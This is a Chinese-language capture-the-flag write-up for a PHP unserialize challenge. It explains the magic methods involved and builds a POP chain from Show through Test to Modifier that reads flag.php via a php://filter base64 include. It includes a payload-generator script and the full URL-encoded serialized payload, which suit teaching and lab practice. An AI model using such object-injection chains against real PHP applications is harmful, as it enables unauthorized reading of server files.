题目给出的php代码这里不直接展示完,将屏幕分为两部分对照学习更直接,在代码里面的注释也写了很多函数的作用
看重要的地方,关键代码
if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}
可以这样理解有没有传入名为pop的参数,如果i没有则创建一个Show类的对象$a,highlight_file()用于显示指定文件的源代码,_FILE_表达的是当前文件。
接下来分析第一段代码:
class Modifier {
protected $var;
public function append($value){
include($value);
// include() 简单来说就是读取指定的文件,并在调用的地方插入其内容并执行其中的php代码
}
public function __invoke(){
$this->append($this->var);
}
}
这里提到了_invoke()魔术方法,记一下,当你调用一个对象时,_invoke()方法会被自动调用
举个例子(并讲解如何使用append方法得到flag.php):
// 创建 Modifier 类的实例
$modifier = new Modifier();
// 设置 var 属性为你希望包含的文件路径
$modifier->var = 'flag.php'; // 假设这个文件存在,并且是有效的 PHP 文件
// 通过调用对象来触发 __invoke() 方法,从而调用 include()
$modifier(); // 实际上会执行 $modifier->__invoke()
//而_invode()会触发 $this->append($this->var);从而间接使用append()
接着看下一段代码
class Show{
public $source;
public $str;
// __construct当一个对象创建时自动调用,基本上是必定触发的
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}
// _wakeup() 主要用于在对象反序列化时恢复其状态,简单点说就是当一个对象通过unserialize()
// 被反序列化时,_wakeup()方法会被自动调用
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
来理解一下_construce()和to_String()
class MyClass {
public $name;
public function __construct($name) {
$this->name = $name;
echo "Object created with $name\n";
}
// 定义 __toString() 方法
public function __toString() {
return "Hello, my name is " . $this->name;
}
}
$obj = new MyClass("John");
// 这里创建了$obj对象时自动调用__construct(),输出Object created with John
echo $obj; // 这会自动调用 __toString() 方法
// 输入 Hello,my name is John
继续查看下一个代码:
class Test{
public $p;
public function __construct(){
$this->p = array();
}
// 当你访问一个对象的不存在或不可访问的属性时,PHP 会自动调用 __get() 方法。
public function __get($key){
$function = $this->p;
return $function();
}
}
接下来开始推力,当我们传入一个序列化进去,会自动执行_wakeup()函数,它将属性source传入正则匹配函数preg_match(),所以这里source被当作字符串处理。上面有一个_toString():如果对象被当作一个字符串输出时自动调用,它会调用show类中的str属性的属性source,而Test类里有个_get()函数,当对象访问一个不存在的属性时调用,那么假设(this->str)没有source就会调用_get()我们需要找一个没有source的类,而刚好Test类没有,就让(this->str)成为Test的对象,从而使用_get()方法,如果我们将Modifier的对象(p=Modifier的对象)进行构造,那么将会触发_invoke()函数,从而使用append(),include()不会返回值,只有将文件内容读取出来用到伪协议php://filter/convert.base64-encode/resource=flag.php
开始实操
<?php
class Modifier{
protected $var = "php://filter/read=convert.base64-encode/resource=flag.php";
}
class Show{
public $source;
public $str;
}
class Test{
public $p;
}
$a = new Show();
$a->source = new Show(); //这里就把$a->source看成一个整体
$a->source->str = new Test(); //这里简单理解就是将show下面的str设置成Test对象,而test类没有source,所以会调用_get();
// 下面就将p = new Modifier();
$a->source->str->p = new Modifier();
echo urlencode(serialize($a));
得到O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BN%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BN%3B%7D
最后?pop=上面的序列化就可以得到flag.php文件的base64的类容,将内容解码就能得到flag了
借鉴了大佬的文章: